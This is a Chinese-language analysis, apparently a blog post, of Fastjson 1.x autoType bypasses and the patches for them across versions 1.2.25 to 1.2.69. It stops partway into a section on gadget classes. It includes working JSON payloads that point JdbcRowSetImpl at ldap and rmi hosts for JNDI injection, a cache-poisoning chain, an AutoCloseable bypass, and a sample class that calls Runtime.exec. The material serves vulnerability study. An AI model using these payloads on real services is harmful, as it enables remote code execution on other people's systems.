FastJson绕过汇总

1
https://central.sonatype.com/artifact/com.alibaba/fastjson/versions

一、总览

1.攻防历史

上文提到的利用链都是在fastjson 1.2.24版本以及之前通杀的,也就是2017-01-19以及更早一些时候

2017-02-06官方意识到存在如此之多问题之后,发布fastjson 1.2.25在该版本中官方进行了修复,自8此长达五年的拉锯战打开,一直到2022-05-23官方发布fastjson 1.2.83做了最后一次修复之后 决定开启新系列fastjson2

同时在四年后的2026-07-24fastjson2在一系列修补过后爆发通杀漏洞

下方表格先做总结

image-20260729151434102

1.2.25 引入 checkAutoType 黑白名单 + autoType 默认关;1.2.68 引入 safeMode(彻底禁 autoType,唯一硬修复);1.2.83 是 1.x 最后一个安全相关版本

这里我们找比较重要,有代表性的链子与防护做详解

2.重要防护点

fastjson 1.2.25这一个版本在2017-02-06发布,第一次对当时已经出现的五花八门的利用方式进行防护,

具体方式有俩点

1
https://github.com/alibaba/fastjson/releases/tag/1.2.25

主要防护点就是新增checkAutoType函数和默认为falseautoTypeSupport参数

详解如下

1.2.24 未做修复的版本

image-20260722202123246

下方为1.2.25版本

image-20260729164500781

这个函数中的逻辑便是对比黑名单与白名单,然后对比缓存等等一系列东西 最后在加载类

同时官方在这次新增中加入了一个默认值为false的参数autoTypeSupport

真实逻辑一共分为九层

由这九层产生了一些列绕过

同时这里还存在一个重要的锁 autoTypeSupport || expectClass != null

autoTypeSupport 这个就是常提的autoType 由用户自行设置 默认为false

expectClass这个是否为null取决于下面方式

image-20260730150334451

但由于下面等情况存在,导致该参数一般都为null

  1. 顶层 JSON.parse(输入) 不带 Class —— 这是漏洞入口里最常见的写法。服务端拿到一段结构不定的 JSON 直接 parse,根本没有”期望类型”
  2. 字段声明成 Object(或 Serializable、Comparable 这种顶层类型)—— Object 是所有类的爹,”期望是 Object”等于”啥都行”,约束等于没有,效果上就是 null

因此autoTypeSupport || expectClass != null这把锁一般情况下都为null

3.具体代码逻辑

我们以autoTypeSupport || expectClass != null为边界点,也就是autoType关闭不关闭为边界点

函数逻辑就被成功分开

1
http://101.200.184.201:7070/fastjson/check/

这个链接打开的思维导图蛮不错,可惜不能长久

3.1、autoType关闭时

image-20260730151347275

如图,也就是一共有六步函数存在

第一步

做检查与归一化处理与

防止攻击者用 $ 变形躲开 startsWith 前缀匹配,检查用归一化后的 className,但 loadClass 用的是原始 typeName

第二步

image-20260730151927952

从内置 mapping 缓存 + 已注册 deserializers 里找类,不做任何动态加载

autoType 关闭时的安全区:只认已经认识的类,缝在1.2.47修复的 通过 java.lang.Class 处理器这条链 往这张缓存表投毒,让攻击类变「熟人」,直接从这里命中返回,绕过全部检查

第三步

image-20260730152259329

如果说上面缓存或者等等加载到了类,这里进行期望校验 如果说期望类类不是空的话就进行校验,不匹配就报错,之后直接返回类,这里就是利用点,但是这里在1.2.33修了一下,在做检验之后统一返回

第四步

image-20260730152545518

这里做autoType关闭时真正的校验

先黑名单在白名单

denyList列表大概如下

image-20260730154209731

就是一些恶意类,当时市面上非常出名的一些恶意类

基本就是把 ysoserial 那套著名 gadget 库 + 几个 JNDI/字节码触发点,挨个抄进来禁掉

之后一段时间,这份名单不断演化

image-20260730154432056

这个加密其实没啥用,因为算法是公开的,所以直接可以爆破,但是确实存在大佬爆破这个,并发布到github

1
2
3
https://github.com/LeadroyaL/fastjson-blacklist
https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html 一家瑞士安全公司 提的
这个文章中还提了一下,蛮有意思的

白名单的话没什么好说的,自定义的一些类,一般也不可能走到这里面,然后的话,这个版本这一块还有点小问题

1
2
3
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

这里本应该取反,expectClass.isAssignableFrom(clazz)判断条件应该取反,不然就不对了,下一个版本就修复回来了

第五步

image-20260730153931351

进一步的黑名单验证,这个是从另外的维度去加黑名单

1
2
ClassLoader.class.isAssignableFrom(clazz)   // clazz 是不是 ClassLoader 的子孙?
|| DataSource.class.isAssignableFrom(clazz) // clazz 是不是实现了 DataSource?

isAssignableFrom 查的不是名字,是继承/实现关系

  • 能加载类的 ClassLoader:java.net.URLClassLoader、各种框架/容器自带的类加载器、BCEL 的 ClassLoader……分散在几十上百个不同的包里,而且第三方库随时能引入新的
  • 能连数据库的 DataSource:c3p0、dbcp、druid、hikari、tomcat-jdbc……每个连接池库都有自己的 DataSource 实现,包名各不相同

同时,也是因为

  • ClassLoader:它的本职工作就是加载类 攻击者要是能实例化一个 ClassLoader 子类、喂给它一个远程 URL 或一段字节码,它就能从远程/字节码里定义出任意类并执行,直接rce
  • DataSource:注释写得明明白白 dataSource can load jdbc driver。数据源在建连接时会去触发 JNDI 查询(→ JNDI 注入)或加载 JDBC 驱动类(某些实现能指定 driverClassLoader,配合 BCEL 加载恶意字节码)

第六步

继续做一步校验

image-20260730155915582

基本上锁死了autoType关闭的情况下又想要rce的路,但是,绕过的方式五花八门,怎么会如愿以偿

3.2、autoType开启时

image-20260730160419508

这里,依旧是六部,但是包含了之前提到过的一些东西

第一步

autoType开启时经历的第一道大关

先白名单在黑名单

image-20260730162400535

和之前一样的配置,黑名单也是一样的东西,白名单依旧是自定义的

依旧是过了白名单直接返回,被黑名单捕获抛异常

如果啥都没事的话,走下一步

第二步、第三步

这个第二步、第三步和之前一样

都是从缓存中加载类,一般正常情况下的攻击类都加载不到嘛

第四步

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

第四步的这里可是正儿八经的去加载类,也是整场对抗中唯一一处动态加载任意动态类的地方

后面知名的数组绕过方式,就是从这里诞生的

第五步

image-20260730163150421

上一步加载搞定之后,就是进一步校验,也就是之前提到的第二层校验

事情到这里也就结束,漏洞绕过与修补的帷幕就此拉开

二、防护与攻击

这里只选择一些比较重大绕过,思路比较新奇的一些绕过点与防护点

1.Fastjson1.2.33改动

这个版本本身没有造成任何漏洞也没又防护任何漏洞,只不过是这个版本在一个函数的设计上,误打误撞的出了问题

这一块先要知道在fastjson1.2.48修复的缓存通杀链

1
2
3
4
{
"a": {"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},
"b": {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://...", "autoCommit":true}
}

1.2.25到1.2.32

image-20260730170357773

1.2.33以及之后

image-20260730170618918

由此,导致在fastjson1.2.33版本之后1.2.48之前的java.lang.Class这个缓存通杀,在无论AutoType是否开启的情况下,都可以通杀!

image-20260730170816845

就是如图所示

感觉当时官方本意是好的

那些已经被系统正常加载、注册进缓存的类,应当被视为”可信的、放行过的”,不该因为包名前缀恰好撞进黑名单就误杀——算是个减少误伤的优化

但是,”缓存里有” ≠ “可信”。因为假装我们已经知道——这个缓存是攻击者能主动污染的(用 {“@type”:”java.lang.Class”,”val”:”…”}

这么修改其实也是当时这个缓存通杀没有爆出来,不然肯定不修改啦

2.Fastjson1.2.42-44改动

其实是连续三个版本

image-20260730171503875

这三,我现在看来都非常震撼

其实本质就是checkAutoType和加载TypeUtils.loadClass对同一个类名的理解不一致

2.1、JVM中数组与类

在源码中,写一个类或者数组直接就是 int、String、String[]

但是在 JVM 内部(字节码、反射、JNI)不认这些名字,它用一套自己的类型描述符来编码所有类型,编码直接就是硬性的规定

基本类型

基本类 JVM 描述符
int I
long J
boolean Z
double D

普通类的话,描述方式就是 L + 类名 + ;

1
2
String  
Ljava/lang/String;

对于数组来说

每多一维,前面加一个 [

源码 jvm
int[] [I
String[] [Ljava/lang/String;

2.2、Fastjson类加载器

image-20260730185252055

其实也就一个类加载器,具体内部逻辑如下

image-20260730185726931

加载类没什么好说的,就是去掉头和尾的关于类的描述符

"L" ";"

然后就是return loadClass(newClassName, classLoader);递归直到加载到类

加载数组这里

1
2
3
4
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

这里其实也是在递归加载这个类

假设 className = "[[Ljava.lang.String;"String[][]):

  1. 第一次调用:发现开头是 [,去掉后变成 "[Ljava.lang.String;",递归调用 loadClass
  2. 第二次调用:又发现开头是 [,去掉后变成 "Ljava.lang.String;",再递归调用(这时候会走到处理普通类名的分支,加载出 String.class
  3. 第二层返回:componentType = String.class,构造 String[0],得到 String[].class 并返回
  4. 第一层返回:componentType = String[].class,构造 (String[])[0](即一个长度为0的二维数组),得到 String[][].class 并返回

然后,找到类名之后,Fastjson官方就不死不休的去加载这个类

image-20260730191711901

这就导致危险类最后一定会被加载成功

2.3、Fastjson1.2.42

2.3.1、源码修复点

直到2017-12-12阿里巴巴发布了fastjson1.2.42

这一版本的修复点有点多

一个是黑名单不再是明文,换成一串 fnv1a_64 哈希值

一个就是比对前先扒掉 L;,再算哈希查黑名单

源码对比如下

Fastjson1.2.41

image-20260731112018550

Fastjson1.2.42

image-20260731112426560

改动主要就是这俩处

对类名绕过的防护

1
2
3
4
5
6
7
8
9
10
11
final long BASIC = 0xcbf29ce484222325L; // FNV-1a 64位的偏移基准 (offset basis)
final long PRIME = 0x100000001b3L; // FNV-1a 64位的素数 (prime)

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

其实就是对字符串的第一个字符和最后一个字符做了两轮 FNV-1a 哈希

1
2
3
long h = BASIC;
h = (h ^ className.charAt(0)) * PRIME; // 第一轮:对首字符做 FNV-1a
h = (h ^ className.charAt(className.length() - 1)) * PRIME; // 第二轮:对尾字符做 FNV-1a

如果首尾两个字符经过这套哈希运算后正好等于目标值 0x9198507b5af98f0L,就把字符串去掉首尾各一个字符,魔数穷举反解对于唯一对应「首字符 L、末字符 ;」

对黑名单数组的保护

这个版本中

image-20260731113235725

黑名单数组为一堆加密后的字符串,这个在之前也提到过,这里最后被解谜了,就是一堆黑名单类与前缀

具体匹配逻辑依旧是前缀匹配,不过更加复杂一些

image-20260731113749725

1
2
3
4
5
6
7
8
9
10
11
12
13
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME; // 滚动往后吃一个字符
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}

FNV-1a 是从左往右逐字符累积的,所以循环到第 i 位时,hash 恰好等于 className 前 i+1 个字符这个前缀的哈希值

image-20260731113918801

这个改动不是为了修复漏洞,只是为了加点难度

2.3.2、漏洞利用

就是对类名去一层包裹那里守住的

poc如下

1
2
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

影响版本

[1.2.25–1.2.41]

要求是AutoType参数必须开

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

image-20260731141332729

手法呢,就是利用了黑名单检查类与实际加载类的名字与方式不同,同时,由于 autoType参数开启,所以会加载自定义的类

image-20260731142115926

checkAutoType 黑名单:startsWith(“com.sun.”) 比对 “Lcom.sun.rowset.JdbcRowSetImpl;”
→ 字符串以 “L” 开头,不是 “com.sun.” → 不命中 → 放行
loadClass:命中 ②,脱掉 L 和 ; → “com.sun.rowset.JdbcRowSetImpl” → 加载真身 → RCE

然后这个有限性就是 autoType参数 默认 false 时锁死,因为途中3处,如果关闭 这里抛出异常

然后官方在Fastjson1.2.42中加入

image-20260731142834740

进一步导致我们的链在1.2.42版本失效,链子被检测出来

image-20260731143016084

2.4、Fastjson1.2.43

2.4.1、源代码修复点

2017-12-16官方在42版本发布4天后紧急弥补

1.2.42

image-20260731145959425

1.2.42版本的问题出现在做检查的时候,只是一层,导致很容易使用双写绕过

1.2.43

image-20260731150108350

这里就是修复逻辑

一共存在俩hash常量

image-20260731150323578

就是内层做一次检查

如果 前两个字符的哈希 == “LL”的哈希 → 也就是 如果 前两个字符是 LL → 抛异常

因为一个正常的类型描述符,最多只有一层 L:
Lcom.sun.rowset.JdbcRowSetImpl;
↑ ↑
L(一层) 第二个字符是包名首字母 ‘c’
正常情况第二个字符应该是包名的首字母(c/o/j……),绝不会是 L。一旦第二个字符还是 L(即 LL…),那只有一种解释:有人故意套了两层 L,想利用”checkAutoType 只剥一层、loadClass 递归剥到底”的差异来架空黑名单。正常业务永远产生不了 LL 开头的类型名。所以 fastjson 判定:见到 LL 开头,一律是攻击,直接拒

2.4.2、漏洞利用

就是这个俩层防护守护的

1
2
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

影响版本

[1.2.25–1.2.42]

要求是AutoType参数必须开

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

image-20260731150717017

手法呢,就是利用了43版本修复的双写绕过方式

1.2.42 的补丁 substring 只脱一层:
“LLcom.sun.rowset.JdbcRowSetImpl;;” → 脱一层 → “Lcom.sun.rowset.JdbcRowSetImpl;”
拿这个去比黑名单 → 还是以 “L” 开头 → 不命中 → 放行
loadClass 是递归的,一层层全脱光:
“LLcom…;;” → “Lcom…;” → “com.sun.rowset.JdbcRowSetImpl” → 真身 → RCE

安检只脱一次,加载器脱到底,攻击者多穿一件外衣,安检脱完还剩一件没认出来,加载器却把两件都脱了

BlBana 的分析:”修复只考虑到 Lcom…; 一层,做了一次提取,导致 LLcom…;; 或前后加更多 L、; 都能绕。”

随后,2017-12-16上线的双保险修复这个问题

image-20260731151426502

2.5、Fastjson1.2.44

当初真的修复了嘛,其实并没有,很快又发现了新绕过方式

2017-12-211.2.43发布五天后又发一版补丁

2.5.1、源代码修复点

1.2.43

image-20260731152701129

检查点只有关于L;这个类加载解析绕过的方式

1.2.43

image-20260731152926374

1
2
3
4
5
6
7
8
9
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL)
{ // [ ← ★新增:首字符是 [,直接抛
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L)
{ // 首L尾;
throw new JSONException("autoType is not support. " + typeName); // ★改:不再剥一层,直接抛
}
  • 第一条:h1 == 0xaf64… ⟺ 首字符是 [ 正常类名绝不会以 [ 开头,所以一个字符就定死 → 拒
  • 第二条:(h1 ^ 末字符)*PRIME == 0x9198… ⟺ 首 L 且尾 ;,即 Lxxx; 对象描述符包裹 → 拒

也就是说

image-20260731160846980

2.5.2、漏洞利用

影响版本

[1.2.25–1.2.42]

要求是AutoType参数必须开

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

poc如下

1
2
3
4
String s = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"" +
"[{\"DataSourceName\":\"ldap://127.0.0.1:8085/MFGLHnPe\"," +
"\"AutoCommit\":\"false\"}]}";

其实就是

1
2
3
4
5
6
7
8
9
10
11
{
"@type":"[com.sun.rowset.JdbcRowSetImpl" ← ① 声明:我是 JdbcRowSetImpl 的【数组】
[ ← ② fastjson:那把数组内容给我(数组开始)
{ ← ③ 数组里的第 0 个元素(这才是真正的恶意对象)
"dataSourceName":"ldap://...",
"autoCommit":true ← ④ 给它赋值 autoCommit,触发 JNDI → RCE
}
] ← 数组结束
}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"DataSourceName":"ldap://127.0.0.1:8085/MFGLHnPe","AutoCommit":"false"}]}
  • [com.sun.rowset.JdbcRowSetImpl:告诉 fastjson”接下来要造的是一个 JdbcRowSetImpl 数组”
  • “…” 后面直接跟 [(没有逗号):这是最反常识的地方 按标准 JSON,key-value 之后该是逗号或 },不该冒出个 [ 但 fastjson 读到”数组类型”后,它内部的状态机就切到”下面该是数组开括号了”,于是它主动期待一个 [ 这在标准 JSON 眼里是畸形的,但 fastjson 的解析器有自己的容错怪癖,吃得下
  • {…}:数组里的元素 真正的 JdbcRowSetImpl 实例是这个 {},它的 autoCommit 赋值才是最终触发 JNDI 注入的那一下

这个payload有来源说是这个

image-20260731160603103

image-20260731160708471

1.2.44中直接匹配数组符号,该方式被修复

image-20260731161317456

自此,这场闹剧十天之内结束

3.Fastjson1.2.48改动

3.1、漏洞利用

poc如下

1
2
3
4
{
"a": {"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},
"b": {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://evil/x", "autoCommit":true}
}
1
2
3
4
5
6
String s  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://127.0.0.1:8085/gZUFSncQ\",\"autoCommit\":true}}";


JSON.parseObject(s);
3.1.1、投毒一

fastjson在反序列化

1
{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}

这一串,也就是Class类时的逻辑造就了投毒的可能

Class进入checkAutoType函数做检查时,一共会出现俩种可能

AutoType关闭时

image-20260804113850318

1
2
3
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

这个代码比较关键

这个deserializers反序列化器在设计上的实现如下

com/alibaba/fastjson/parser/ParserConfig.java#102

1
private final IdentityHashMap<Type, ObjectDeserializer> deserializers         = new IdentityHashMap<Type, ObjectDeserializer>();

接着就是初始化这个反序列化器

image-20260804115946623

其中put方法就是为反序列化器中加入类

image-20260804120211513

刚好这里默认反序列化器的bucket里面加入了我们的目标Class
image-20260804120346593

1
2
3
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

image-20260804120528795

findClass类也就是去从默认反序列化器里面寻找类

当然我们传入的Class.class一定会被找到,并且也会被加载

接着,就将类返回

image-20260804154614219

自此,投毒第一段结束

image-20260804154802488

image-20260804121148253

3.1.2、投毒二

接着进入反序列化逻辑

这里遇到一个分支判断,实际没什么作用,大概逻辑如下

image-20260804200149452

接着就是

1
ObjectDeserializer deserializer = config.getDeserializer(clazz);

com/alibaba/fastjson/parser/ParserConfig#getDeserializer

image-20260804200831768

getDeserializer(Class.class) 接着 deserializers.get(Class.class)

直接就命中了 line 271 注册的 MiscCodec.instance

接着就是执行

1
Object obj = deserializer.deserialze(this, clazz, fieldName);

重点就在com/alibaba/fastjson/serializer/MiscCodec#deserialze函数内部

先是俩个判断

image-20260804204551972

接着加载var变量

image-20260804203417745

具体逻辑

image-20260804203450611

这里将加载到val中定义好的值

接着去选择Class类反序列化器对应的处理方式

image-20260804203853457

接着就是

com/alibaba/fastjson/util/TypeUtils#loadClass方法

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

转一层 注意这个转一层的时候传递的第三个参数也就是cache参数为True,这也为后面写入mapping实现可能

image-20260804205503748

image-20260804205826683

自此,投毒完成

image-20260804210200900

3.1.3、命中

至于命中这一块的逻辑就简单多了

不开autoTypeSupport(也是默认)

image-20260804210929259

之前的判断逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
├─[901] typeName==null?           否,继续
├─[905] length>=128 || <3? "com.sun.rowset.JdbcRowSetImpl"=29字符,否,继续
├─[909] className = replace('$','.') 无 $,不变
├─[915] h1 = (BASIC ^ 'c') * PRIME
├─[916] h1 == 0xaf64...(即'[')? 'c'≠'[',否,不抛
├─[920] (h1 ^ 尾字符'l')*PRIME == ';'的hash? 不是 ; 结尾,否,不抛
├─[924] h3 = 前3字符 "com" 的 hash

├─[931] if (autoTypeSupport || expectClass != null)
│ = if (false || false) → false → ★整段跳过(936-944 的白/黑名单循环根本没运行!)

├─[948] if (clazz == null) → clazz = getClassFromMapping("com.sun.rowset.JdbcRowSetImpl")
│ └─ mappings.get → ★命中!(第一段投的毒)→ clazz = JdbcRowSetImpl.class

├─[952] if (clazz == null) → clazz 已非 null,跳过 deserializers.findClass

├─[956] if (clazz != null) 成立
│ ├─[957] expectClass != null? → null,整个条件 false,不进 "type not match" 校验
│ └─[963]return clazz → 返回 JdbcRowSetImpl.class,绕过成功

开启autoTypeSupport

这里就提到了 Fastjson1.2.33改动

在1.2.33改之后

image-20260804211221138

之后类加载逻辑不变

于是出现了

image-20260730170816845

3.1.4、总结

投毒

image-20260804121002153

命中

image-20260804121059301

同时poc的构造还有意思

1
2
3
4
{
"a": {"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},
"b": {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://evil/x", "autoCommit":true}
}

外层 {} 没有 @type , fastjson 当普通 Map,逐字段解析

于是顺序变成了

image-20260804211505561

外层大括号的唯一作用,就是当一个”驱动器”:它自己不触发任何 autoType(因为没 @type),只负责让 fastjson 挨个去解析里面的成员,从而让”投毒””取毒”两步依次发生

“a” 和 “b” 这两个键名没有任何特殊含义,叫 “x”/“y”、”p1”/“p2” 都一样,它们存在的唯一意义,是让两个子对象成为外层 Map 的两个成员,好被依次解析

image-20260804212042516

3.2、源码修复点

1.2.48 版本中默认加载类时,缓存字段为false

Fastjson1.2.47

com/alibaba/fastjson/serializer/MiscCodec#deserialze

image-20260811171450739

com/alibaba/fastjson/util/TypeUtils#loadClass

image-20260811171712864

Fastjson1.2.48

com/alibaba/fastjson/serializer/MiscCodec#deserialze

image-20260811172206586

进一步在触发反序列化加载类时

com/alibaba/fastjson/util/TypeUtils#loadClass

image-20260811172848362

本质上就是下图

image-20260811172955425

不再把“能够被类加载器加载”误认为“已经经过 Fastjson 安全策略批准”从而加入缓存

z

image-20260811173706156

官方当时对缓存处理的非常果断,实现的非常完美,所以后面缓存投毒这一块直接堵死

4.Fastjson1.2.68改动

4.1、源码改动

alibaba官方在2020-03-28发布这一版本

当时针对于这个Fastjson黑名单的绕过方式层出不穷,封禁一种就产生一种

而且

1.2.25版本引入的AutoType开关并不能完全彻底的阻止类的加载

此开关默认情况为关闭状态

autoTypeSupport == false

但是依旧可以走到类加载等等逻辑

为了解决这个问题,官方在

fastsjon1.2.68中引入了safeMode参数来控制是否进行序列化

1.2.67之前的checkAutoType函数

image-20260813193708215

1.2.68以及之后

image-20260813193842402

这个防护就比较深刻了,直接从入口将所有存在

1
2
3
{
"@type": "某个由输入控制的 Java 类名"
}

这种类加载情况断绝

而且他位于所有类加载流程之前,也就是说只要此参数开启,fastjson就不会去加载存在 @type 参数的字符串

也就是下面说的

image-20260813194747021

4.2、参数配置

比较幸运吧算是,这个参数是默认关闭的,开启的话方式如下

JVM 系统属性

1
-Dfastjson.parser.safeMode=true

针对某个 ParserConfig

1
2
3
4
ParserConfig config = new ParserConfig();
config.setSafeMode(true);

JSON.parse(json, config);

反序列化函数参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static Object parse(
String text,
ParserConfig config,
Feature... features
) {
int featureValues = DEFAULT_PARSER_FEATURE;

for (Feature feature : features) {
featureValues = Feature.config(
featureValues,
feature,
true
);
}

return parse(text, config, featureValues);
}

JSON.parse(json, config, Feature.SafeMode);

5.Fastjson1.2.69改动

5.1、漏洞利用

poc如下

1
2
3
4
5
{
"@type": "java.lang.AutoCloseable",
"@type": "org.chabug.fastjson.exploit.ExecCloseable",
"domain": "test"
}

恶意类evil2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;

public class evil2 implements AutoCloseable{

static {
try { Runtime.getRuntime().exec("calc"); } catch (Exception e) {}
}

private String marker;


public evil2() {
System.out.println("evil2 constructor");
}


public void setMarker(String marker) {
try {
Runtime.getRuntime().exec(marker);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void close() throws Exception {

}
}
1
2
3
4
5
6
7
String poc = "{"
+ "\"@type\":\"java.lang.AutoCloseable\","
+ "\"@type\":\"evil2\","
+ "\"marker\":\"calc\""
+ "}";

JSON.parseObject(poc);
5.1.1、投毒一

Fastjson 不是先把整个 JSON 解析成 JSONObject,再决定使用哪个反序列化器;而是边读取字段,边根据已经读到的 @type 动态切换反序列化器

DefaultJSONParser 中持有一个 lexer

而JSONLexer 内部维护了类似这些状态

1
2
3
4
protected int bp;      // 当前字符位置
protected char ch; // 当前字符
protected int token; // 当前 token
protected int pos; // 当前 token 的起始位置

于是出现解析

1
2
3
4
5
{
"@type": "java.lang.AutoCloseable",
"@type": "org.chabug.fastjson.exploit.ExecCloseable",
"domain": "test"
}

这样的形式时

先行获取“{”

image-20260814182632664

进入com/alibaba/fastjson/parser/DefaultJSONParser#parseObject

此函数是整个字串反序列化的关键一环

image-20260814185812799

接着就是之前熟知的checkAutoType函数与反序列化器反序列化部分

checkAutoType函数

image-20260814190206155

反序列化器反序列化

image-20260814190314950

此时投毒的第一阶段也就结束,但是我们具体看看这俩部分

进入checkAutoType函数

此时@Type参数为java.lang.AutoCloseable

同时这个类在加载的时候刚好被放到缓存中

image-20260814192313599

于是乎,在checkAutoType函数时,这里就直接加载到类

image-20260814192736000

从整个调用链接上来看的话,也就是下面这个

1
http://101.200.184.201:7070/fastjson/check/

image-20260814191753849

反序列化器反序列化

这里主要是获取反序列化器的过程,反序列化过程也就算是投毒二了

image-20260814194121723

提到的第一点,AutoCloseable这个类对应的反序列化器为JavaBeanDeserializer

image-20260814193941861

置于第二点反序列化则为投毒2

5.1.2、命中一

也就是JavaBeanDeserializer整个的反序列化过程

1
Object obj = deserializer.deserialze(this, clazz, fieldName);

进一步堆砌也就是

1
2
3
4
5
6
7
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return deserialze(parser, type, fieldName, 0);
}

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
return deserialze(parser, type, fieldName, null, features, null);
}

最终传参为

image-20260814194639967

注意这里是第一次进入com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#deserialze这个反序列化函数

同时,这个函数的伪代码也就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
deserialze(parser, type, fieldName, object, features, setFlags) {
检查 token 是否是对象;

while (还有字段) {
尝试快速读取已知字段;

如果没有匹配到已知字段:
读取字段名 key;

如果 key == "@type":
读取 typeName;
userType = checkAutoType(typeName, 当前期望类型);
deserializer = getDeserializer(userType);

return deserializer.deserialze(
parser,
userType,
fieldName
);

如果对象还没有实例:
创建对象;

解析普通字段值;
写入字段;

}

返回对象;
}

这一次进来的时候因为随行的参数是@Type,以及对应的值为

ctf.demo.DemoCloseable

在循环字段的时候走到

com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#705

image-20260814202718131

com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#783

image-20260814202947724

下一棒就是重头戏,恶意类的返回

image-20260814203301225

第三点

1
2
3
4
5
6
7
8
9
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());

此时也就是

checkAutoType(
"ctf.demo.DemoCloseable",
AutoCloseable.class,
features
);

进入函数具体查看

image-20260814204815516

就通过这三招,使用expectClassFlag这个参数,完美绕过了黑名单,白名单等等限制

直接杀死比赛,让恶意类成功加载

image-20260814204958487

用到了整个流程图的这一块部分

1
http://101.200.184.201:7070/fastjson/check/

自此投毒部分彻底完结,我们的恶意类成功loadclass

5.1.3、命中二

image-20260814205444372

也就是之前图片中四、五部分,这里也就是第二次进入

com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#deserialze这个反序列化函数

不过这次,走的是正常字段反序列化,因为当前的下一个键为正常字段,我们也为他创造了setter方法

以下是此次调用的伪代码,使用调试功能时发现老是卡住,应该是bug的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
有无参构造器:先创建对象,再调用 setter

class User {
private String name;

public User() {
}

public void setName(String name) {
this.name = name;
}
}

JSON:

{
"name": "alice"
}

执行过程:

读取 name

createInstance()

new User()

解析 "alice"

fieldDeserializer.setValue(user, "alice")

user.setName("alice")

返回 User 对象

setValue() 的概念性逻辑大致是:

void setValue(Object object, Object value) {
if (setterMethod != null) {
setterMethod.invoke(object, value);
} else {
field.set(object, value);
}
}

也就是会调用这里创建类

image-20260814212958563

这里调用setter方法

image-20260814213107829

最终也印证猜想

image-20260814211946063

5.1.4、栈图总结

进入逻辑

image-20260817143352062

投毒一

image-20260817143423411

投毒二

image-20260817143600455

命中

image-20260817143647053

5.2、源码修复点

2020年5月alibaba官方发布fastjson1.2.69时隔俩个月,发布一版更新

这次更新就是为了解决上面的绕过手法

fastjson1.2.69的修复简单粗暴

fastjson1.2.68以及之前com/alibaba/fastjson/parser/ParserConfig.java在判断是否为期望类的逻辑

image-20260817170100930

fastjson1.2.69以及之后

image-20260817170209699

对期望类的黑名单加密并在此基础之上,加入几个恶意绕过类

解密而来就是

image-20260817170345118

其中就包含刚刚提到的

AutoCloseable投毒类

具体的提交commit

1
https://github.com/alibaba/fastjson/commit/9af851152ec142d394a6c8dd0813d33e71adb410

同时,需要注意的时,此时修复,只是关注于默认 autoTypeSupport = false时,当autoTypeSupport = true时,无论修复与否都可以实现恶意类加载

image-20260817173844965

5.3、扩大战果

上面的实现都是在自定义恶意类的情况下实现,正常利用时会利用到一些自带类实现攻击

其实本质上就是利用实现AutoCloseable接口的内部类的功能实现攻击

找到了 SafeFileOutputStream与Output这俩类

SafeFileOutputStream

org/eclipse/core/internal/localstore/SafeFileOutputStream.class

这个函数的实现逻辑特别简单

具体涉及的的四个参数如下

1
